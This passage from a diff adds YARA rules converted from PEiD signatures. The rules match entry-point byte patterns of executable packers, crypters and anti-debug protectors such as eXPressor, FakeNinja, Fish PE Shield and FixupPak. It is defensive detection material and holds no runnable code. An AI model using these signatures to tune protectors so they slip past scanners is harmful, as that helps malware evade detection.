+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? 00 2B 05 84 ?? ?? 00 A3 ?? ?? ?? 00 83 3D ?? ?? ?? 00 00 74 16 A1 ?? ?? ?? 00 03 05 80 ?? ?? 00 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? 00 01 00 00 00 68 04}
+    condition:
+        $a
+}
+
+rule PEiD_00672_eXPressor_1_3____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.3 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 33 2E 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00673_eXPressor_1_4_5_1____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor 1.4.5.1 -> CGSoftLabs (h)]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14}
+    condition:
+        $a
+}
+
+rule PEiD_00674_eXPressor_1_4_5_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.4.5.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D 10 ?? ?? 00 00 74 16 A1 08 ?? ?? 00 8B 0D 0C ?? ?? 00 03 48 14}
+    condition:
+        $a
+}
+
+rule PEiD_00675_eXPressor_1_4_5_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor 1.4.5.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D 10 ?? ?? 00 00 74 16 A1 08 ?? ?? 00 8B 0D 0C ?? ?? 00 03 48 14 89 4D CC E9 97 04 00 00 C7 05 10 ?? ?? 00 01 00 00 00 ?? ?? 68 54 ?? ?? 00 68 18 ?? ?? 00 6A 00 FF 15 E4 ?? ?? 00 83 7D 0C 01 74 04 83 65 08 00 6A 04 68 00 10 00 00 68 04 01 00 00 6A 00 FF 15 C4 ?? ?? 00 89 45 EC 68 04 01 00 00 FF 75 EC FF 75 08 FF 15 DC ?? ?? 00 8B 4D EC 8D 44 01 FF 89 45 AC 8B 45 AC 0F BE 00 83 F8 5C 74 09 8B 45 AC 48 89 45 AC EB EC 8B 45 AC 40 89 45 AC 8B 45 AC 2B 45 EC 89 45 B0 6A 04 68 00 10 00 00 68 04 01 00 00 6A 00 FF 15 C4 ?? ?? 00 89 45 FC 8B 4D B0 8B 75 EC 8B 7D FC 8B C1 C1 E9 02}
+    condition:
+        $a
+}
+
+rule PEiD_00676_eXpressor_v1_0____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.0 -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13}
+    condition:
+        $a
+}
+
+rule PEiD_00677_eXPressor_V1_0____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.0 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 35 14 00 00 E9 31 13 00 00 E9 98 12 00 00 E9 EF 0C 00 00 E9 42 13 00 00 E9 E9 02 00 00 E9 EF 0B 00 00 E9 1B 0D 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00678_eXpressor_v1_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {E9 15 13 00 00 E9 F0 12 00 00 E9 58 12 00 00 E9 AF 0C 00 00 E9 AE 02 00 00 E9 B4 0B 00 00 E9 E0 0C 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00679_eXPressor_v1_2____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.2 -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? ?? 2B 05 84 ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 16 A1 ?? ?? ?? ?? 03 05 80 ?? ?? ?? 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? ?? 01 00 00 00 68 04 01 00 00 8D 85 F0 FE FF FF 50 6A 00 FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_00680_eXPressor_v1_2____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.2 -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {45 78 50 72 2D 76 2E 31 2E 32 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00681_eXpressor_v1_2____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.2 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76}
+    condition:
+        $a
+}
+
+rule PEiD_00682_eXPressor_v1_2_0b_
+{
+    meta:
+        description = "[eXPressor v1.2.0b]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E B8 ?? ?? ?? 00 2B 05 84 ?? ?? 00 A3 ?? ?? ?? 00 83 3D ?? ?? ?? 00 00 74 16 A1 ?? ?? ?? 00 03 05 80 ?? ?? 00 89 85 54 FE FF FF E9 ?? 07 00 00 C7 05 ?? ?? ?? 00 01 00 00 00 68 04 01 00 00 8D 85 F0 FE FF FF 50 6A 00 FF 15 ?? ?? ?? 00 8D 84 05 EF FE FF FF 89 85 38 FE FF FF 8B 85 38 FE FF FF 0F BE 00 83 F8 5C}
+    condition:
+        $a
+}
+
+rule PEiD_00683_eXPressor_v1_3____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.3 -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 33 2E 2E B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? 83 3D ?? ?? ?? ?? 00 74 13 A1 ?? ?? ?? ?? 03 05 ?? ?? ?? ?? 89 ?? ?? E9 ?? ?? 00 00 C7 05}
+    condition:
+        $a
+}
+
+rule PEiD_00684_eXPressor_v1_3____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.3 -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {45 78 50 72 2D 76 2E 31 2E 33 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00685_eXPressor_V1_3____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.3 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45}
+    condition:
+        $a
+}
+
+rule PEiD_00686_eXPressor_v1_4____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.4 -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 34 2E 2E B8}
+    condition:
+        $a
+}
+
+rule PEiD_00687_eXPressor_v1_4____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.4 -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {65 58 50 72 2D 76 2E 31 2E 34 2E}
+    condition:
+        $a
+}
+
+rule PEiD_00688_eXpressor_v1_4_5____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.4.5 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00689_eXpressor_v1_4_5____CGSoftLabs_
+{
+    meta:
+        description = "[eXpressor v1.4.5 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 83 65 DC 00 F3 EB 0C}
+    condition:
+        $a
+}
+
+rule PEiD_00690_eXPressor_v1_4_5_1____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.4.5.1 -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? ?? 05 00 ?? ?? ?? A3 08 ?? ?? ?? A1 08 ?? ?? ?? B9 81 ?? ?? ?? 2B 48 18 89 0D 0C ?? ?? ?? 83 3D 10 ?? ?? ?? 00 74 16 A1 08 ?? ?? ?? 8B 0D 0C ?? ?? ?? 03 48 14 89 4D CC}
+    condition:
+        $a
+}
+rule PEiD_00691_eXPressor_V1_4_5_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.4.5.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC 58 53 56 57 83 65 DC 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 08 ?? ?? 00 A1 08 ?? ?? 00 B9 81 ?? ?? 00 2B 48 18 89 0D 0C ?? ?? 00 83 3D}
+    condition:
+        $a
+}
+rule PEiD_00692_eXPressor_V1_4_5_1____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.4.5.1 -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 83 65 ?? 00 F3 EB 0C}
+    condition:
+        $a
+}
+rule PEiD_00693_eXPressor_V1_4_5_x____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor V1.4.5.x -> CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 EC ?? 53 56 57 83 65 ?? 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 34 2E 00 A1 00 ?? ?? 00 05 00 ?? ?? 00 A3 ?? ?? ?? 00 A1 ?? ?? ?? 00 B9 ?? ?? ?? 00 2B 48 18 89 0D ?? ?? ?? 00 83 3D}
+    condition:
+        $a
+}
+
+rule PEiD_00694_eXPressor_v1_5_0_1__Options____Light__Full_support__CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.5.0.1 (Options -> Light, Full support) CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC ?? 02 00 00 53 56 57 83 A5 ?? FD FF FF 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35}
+    condition:
+        $a
+}
+rule PEiD_00695_eXPressor_v1_5_0_1__Options____Protection__CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor v1.5.0.1 (Options -> Protection) CGSoftLabs]"
+        ep_only = "true"
+    strings:
+        $a = {5E 00 00 80 00 00 00 68 91 5D D4 27 35 C5 5A 4C A5 40 48 C4 08 4E C0}
+    condition:
+        $a
+}
+
+rule PEiD_00696_eXPressor_v1_5x____CGSoftLabs__h__
+{
+    meta:
+        description = "[eXPressor v1.5x -> CGSoftLabs (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC 58 02 00 00 53 56 57 83 A5 CC FD FF FF 00 F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35 2E 00 83 7D 0C 01 75 23}
+    condition:
+        $a
+}
+rule PEiD_00697_eXPressor_PacK_V1_5_0_X____CGSoftLabs___Sign_by_fly_
+{
+    meta:
+        description = "[eXPressor.PacK V1.5.0.X -> CGSoftLabs ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 83 A5 ?? ?? ?? ?? ?? F3 EB 0C 65 58 50 72 2D 76 2E 31 2E 35 2E 00 83 7D 0C ?? 75 23 8B 45 08 A3 ?? ?? ?? ?? 6A 04 68 00 10 00 00 68 20 03 00 00 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? EB 04}
+    condition:
+        $a
+}
+
+rule PEiD_00698_eXPressor_Protection_1_5_0_X____CGSoftLabs_
+{
+    meta:
+        description = "[eXPressor.Protection 1.5.0.X -> CGSoftLabs]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 EB 01 ?? ?? ?? ?? 83 EC 0C 53 56 57 EB 01 ?? 83 3D ?? ?? ?? ?? 00 74 08 EB 01 E9 E9 56 01 00 00 EB 02 E8 E9 C7 05 ?? ?? ?? ?? 01 00 00 00 EB 01 C2 E8 E2 05 00 00 EB 02 DA 9F 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 59 59 EB 01 C8 EB 02}
+    condition:
+        $a
+}
+rule PEiD_00699_eXPressor_Protection_V1_5_0_X____CGSoftLabs___Sign_by_fly_
+{
+    meta:
+        description = "[eXPressor.Protection V1.5.0.X -> CGSoftLabs ! Sign by fly]"
+        ep_only = "false"
+    strings:
+        $a = {EB 01 68 EB 01 ?? ?? ?? ?? 83 EC 0C 53 56 57 EB 01 ?? 83 3D ?? ?? ?? ?? 00 74 08 EB 01 E9 E9 56 01 00 00 EB 02 E8 E9 C7 05 ?? ?? ?? ?? 01 00 00 00 EB 01 C2 E8 E2 05 00 00 EB 02 DA 9F 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 59 59 EB 01 C8 EB 02 66 F0 68 ?? ?? ?? ?? E8 0E 05 00 00 59 EB 01 DD 83 65 F4 00 EB 07 8B 45 F4 40 89 45 F4 83 7D F4 61 73 1F EB 02 DA 1A 8B 45 F4 0F ?? ?? ?? ?? ?? ?? 33 45 F4 8B 4D F4 88 ?? ?? ?? ?? ?? EB 01 EB EB}
+    condition:
+        $a
+}
+rule PEiD_00700_EZIP_v1_0_
+{
+    meta:
+        description = "[EZIP v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {E9 19 32 00 00 E9 7C 2A 00 00 E9 19 24 00 00 E9 FF 23 00 00 E9 1E 2E 00 00 E9 88 2E 00 00 E9 2C}
+    condition:
+        $a
+}
+
+rule PEiD_00701_E___________________
+{
+    meta:
+        description = "[Convert Base64 to ASCII RcOTw47CtcOYwrTDuCAtPiDDlMOCwrrDmsK3w6fCuMOf]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 0F 31 8B D8 0F 31 8B D0 2B D3 C1 EA 10 B8 ?? ?? ?? ?? 0F 6E C0 B8 ?? ?? ?? ?? 0F 6E C8 0F F5 C1 0F 7E C0 0F 77 03 C2 ?? ?? ?? ?? ?? FF E0}
+    condition:
+        $a
+}
+
+
+rule PEiD_00702_FACRYPT_v1_0_
+{
+    meta:
+        description = "[FACRYPT v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {B9 ?? ?? B3 ?? 33 D2 BE ?? ?? 8B FE AC 32 C3 AA 49 43 32 E4 03 D0 E3}
+    condition:
+        $a
+}
+rule PEiD_00703_FakeNinja_v2_8__Anti_Debug_____Spirit_
+{
+    meta:
+        description = "[FakeNinja v2.8 (Anti-Debug) -> Spirit]"
+        ep_only = "false"
+    strings:
+        $a = {64 A1 18 00 00 00 EB 02 C3 11 8B 40 30 EB 01 0F 0F B6 40 02 83 F8 01 74 FE EB 01 E8 90 C0 FF FF EB 03 BD F4 B5 64 A1 30 00 00 00 0F B6 40 02 74 01 BA 74 E0 50 00 64 A1 30 00 00 00 83 C0 68 8B 00 EB 00 83 F8 70 74 CF EB 02 EB FE 90 90 90 0F 31 33 C9 03 C8 0F 31 2B C1 3D FF 0F 00 00 73 EA E8 08 00 00 00 C1 3D FF 0F 00 00 74 AA EB 07 E8 8B 40 30 EB 08 EA 64 A1 18 00 00 00 EB F2 90 90 90 BA ?? ?? ?? ?? FF E2 64 11 40 00 FF 35 84 11 40 00 E8 40 11 00 00 6A 00 6A 00 FF 35 70 11 40 00 FF 35 84 11 40 00 E8 25 11 00 00 FF}
+    condition:
+        $a
+}
+rule PEiD_00704_FakeNinja_v2_8____Spirit_
+{
+    meta:
+        description = "[FakeNinja v2.8 -> Spirit]"
+        ep_only = "false"
+    strings:
+        $a = {BA ?? ?? ?? ?? FF E2 64 11 40 00 FF 35 84 11 40 00 E8 40}
+    condition:
+        $a
+}
+rule PEiD_00705_FASM_1_5x_
+{
+    meta:
+        description = "[FASM 1.5x]"
+        ep_only = "false"
+    strings:
+        $a = {6A 00 FF 15 ?? ?? 40 00 A3 ?? ?? 40 00}
+    condition:
+        $a
+}
+
+rule PEiD_00706_fds0ft_c0m_pr0tect_v0_4b_
+{
+    meta:
+        description = "[fds0ft c0m pr0tect v0.4b]"
+        ep_only = "true"
+    strings:
+        $a = {8C CA 2E ?? ?? ?? ?? B4 30 8B ?? ?? ?? 8B ?? ?? ?? 8E DA A3 ?? ?? 8C ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? EB}
+    condition:
+        $a
+}
+
+rule PEiD_00707_fEaRzCrypter_v1_0____fEaRz_
+{
+    meta:
+        description = "[fEaRzCrypter v1.0 -> fEaRz]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC B9 09 00 00 00 6A 00 6A 00 49 75 ?? 53 56 57 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 BA ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 6A 00}
+    condition:
+        $a
+}
+
+rule PEiD_00708_File_Analyzer_Compiled_Datafile_Version_
+{
+    meta:
+        description = "[File Analyzer Compiled Datafile Version]"
+        ep_only = "false"
+    strings:
+        $a = {46 69 6C 65 20 41 6E 61 6C 79 7A 65 72 20 43 6F 6D 70 69 6C 65 64 20 44 61 74 61 66 69 6C 65 20 56 65 72 73 69 6F 6E}
+    condition:
+        $a
+}
+
+rule PEiD_00709_File_Analyzer_Extended_Datafile_Version_
+{
+    meta:
+        description = "[File Analyzer Extended Datafile Version]"
+        ep_only = "false"
+    strings:
+        $a = {23 03 45 58 54 44 ?? ?? 3A 03}
+    condition:
+        $a
+}
+
+rule PEiD_00710_File_Analyzer_Registration_file_v1_0_
+{
+    meta:
+        description = "[File Analyzer Registration file v1.0]"
+        ep_only = "false"
+    strings:
+        $a = {24 46 41 52 45 47 24 4D 2D ?? ?? ?? ?? 31}
+    condition:
+        $a
+}
+rule PEiD_00711_File_Analyzer_Registration_file_v1_1_
+{
+    meta:
+        description = "[File Analyzer Registration file v1.1]"
+        ep_only = "false"
+    strings:
+        $a = {24 46 41 52 45 47 24 45 4E 43 3D ?? 26 26 52 45 47 3D ?? 26 26 45 58 50 3D}
+    condition:
+        $a
+}
+
+rule PEiD_00712_FileShield_
+{
+    meta:
+        description = "[FileShield]"
+        ep_only = "true"
+    strings:
+        $a = {50 1E EB ?? 90 00 00 8B D8}
+    condition:
+        $a
+}
+
+rule PEiD_00713_Fish_PE_Shield_1_01____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.01 -> HellFish]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89}
+    condition:
+        $a
+}
+rule PEiD_00714_Fish_PE_Shield_1_01____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.01 -> HellFish]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC 83 7D DC 00 75 08 E8 AD FF FF FF 89 45 DC E8 C1 FE FF FF 8B 10 03 55 DC 89 55 E4 83 C0 04 8B 10 89 55 FC 83 C0 04 8B 10 89 55 F4 83 C0 04 8B 10 89 55 F8 83 C0 04 8B 10 89 55 F0 83 C0 04 8B 10 89 55 EC 83 C0 04 8B 00 89 45 E8 8B 45 E4 8B 58 04 03 5D E4 8B FB 8B 45 E4 8B 30 4E 85 F6 72 2B 46 C7 45 E0 00 00 00 00 83 7B 04 00 74 14}
+    condition:
+        $a
+}
+
+rule PEiD_00715_Fish_PE_Shield_1_01____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.01 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 12 FE FF FF C3 90 09 00 00 00 2C 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00716_Fish_PE_Shield_1_01____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.01 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 12 FE FF FF C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 28 88 00 00 40 ?? 4B 00 00 00 02 00 00 00 A0 00 00 18 01 00 00 40 ?? 4C 00 00 00 0C 00 00 00 B0 00 00 38 0A 00 00 40 ?? 4E 00 00 00 00 00 00 00 C0 00 00 40 39 00 00 40 ?? 4E 00 00 00 08 00 00 00 00 01 00 C8 06 00 00 40}
+    condition:
+        $a
+}
+
+rule PEiD_00717_Fish_PE_Shield_1_12_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.12/1.16 -> HellFish]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC}
+    condition:
+        $a
+}
+
+rule PEiD_00718_Fish_PE_Shield_1_12_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.12/1.16 -> HellFish]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 83 C4 D0 53 56 57 8B 45 10 83 C0 0C 8B 00 89 45 DC 83 7D DC 00 75 08 E8 BD FE FF FF 89 45 DC E8 E1 FD FF FF 8B 00 03 45 DC 89 45 E4 E8 DC FE FF FF 8B D8 BA 8E 4E 0E EC 8B C3 E8 2E FF FF FF 89 45 F4 BA 04 49 32 D3 8B C3 E8 1F FF FF FF 89 45 F8 BA 54 CA AF 91 8B C3 E8 10 FF FF FF 89 45 F0 BA AC 33 06 03 8B C3 E8 01 FF FF FF 89 45 EC BA 1B C6 46 79 8B C3 E8 F2 FE FF FF 89 45 E8 BA AA FC 0D 7C 8B C3 E8 E3 FE FF FF 89 45 FC 8B 45 E4 8B 58 04 03 5D E4 8B FB 8B 45 E4 8B 30 4E 85 F6 72 2B}
+    condition:
+        $a
+}
+
+rule PEiD_00719_Fish_PE_Shield_1_12_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.12/1.16 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00720_Fish_PE_Shield_1_12_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.12/1.16 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00 ?? ?? ?? 00 ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 00 00 00 ?? ?? 00 ?? ?? 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 00 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 40}
+    condition:
+        $a
+}
+
+rule PEiD_00721_Fish_PE_Shield_1_16____HellFish_
+{
+    meta:
+        description = "[Fish PE Shield 1.16 -> HellFish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 EA FD FF FF FF D0 C3 8D 40 00 ?? 00 00 00 2C 00 00 00 ?? ?? ?? 00 ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? 00 00 00 00 ?? ?? 00 00 10 00 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? ?? 00 00 ?? ?? 00 ?? ?? ?? 00 40 ?? ?? ?? 00 00 ?? 00 00 00 ?? ?? 00 ?? ?? 00 00 40}
+    condition:
+        $a
+}
+rule PEiD_00722_FishPE_V1_0X____hellfish___Sign_by_fly_
+{
+    meta:
+        description = "[FishPE V1.0X -> hellfish ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 ?? ?? 00 00 ?? ?? ?? ?? 00 00 02 00 00 00 A0 00 00 18 01 00 00 ?? ?? ?? ?? 00 00 0C 00 00 00 B0 00 00 38 0A 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 C0 00 00 40 39 00 00 ?? ?? ?? ?? 00 00 08 00 00 00 00 01 00 C8 06 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00723_FishPE_V1_0X____hellfish_
+{
+    meta:
+        description = "[FishPE V1.0X -> hellfish]"
+        ep_only = "true"
+    strings:
+        $a = {60 E8 ?? ?? ?? ?? C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 ?? ?? 00 00 ?? ?? ?? ?? 00 00 02 00 00 00 A0 00 00 18 01 00 00}
+    condition:
+        $a
+}
+
+rule PEiD_00724_FixupPak_1_20_
+{
+    meta:
+        description = "[FixupPak 1.20]"
+        ep_only = "false"
+    strings:
+        $a = {55 E8 00 00 00 00 5D 81 ED ?? ?? 00 00 BE 00 ?? 00 00 03 F5 BA 00 00 ?? ?? 2B D5 8B DD 33 C0 AC 3C 00 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F B6 C8 3C 00 74 06 3C 01 74 09 EB 0A 66 AD 0F B7 C8 EB 03 AD 8B C8}
+    condition:
+        $a
+}
+
+rule PEiD_00725_FixupPak_v1_20_
+{
+    meta:
+        description = "[FixupPak v1.20]"
+        ep_only = "true"
+    strings:
+        $a = {55 E8 00 00 00 00 5D 81 ED ?? ?? 00 00 BE 00 ?? 00 00 03 F5 BA 00 00 ?? ?? 2B D5 8B DD 33 C0 AC 3C 00 74 3D 3C 01 74 0E 3C 02 74 0E 3C 03 74 0D 03 D8 29 13 EB E7 66 AD EB F6 AD EB F3 AC 0F B6 C8 3C 00 74 06 3C 01 74 09 EB 0A 66 AD 0F B7 C8 EB 03 AD 8B C8 AC 0F B6 C0 03 D8 29 13 E2 FA EB BC 8D 85 ?? ?? 00 00 5D FF E0 00 00 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_00726_Fly_Crypter_1_0____ut1lz_
+{
+    meta:
+        description = "[Fly-Crypter 1.0 -> ut1lz]"
+        ep_only = "false"
+    strings:
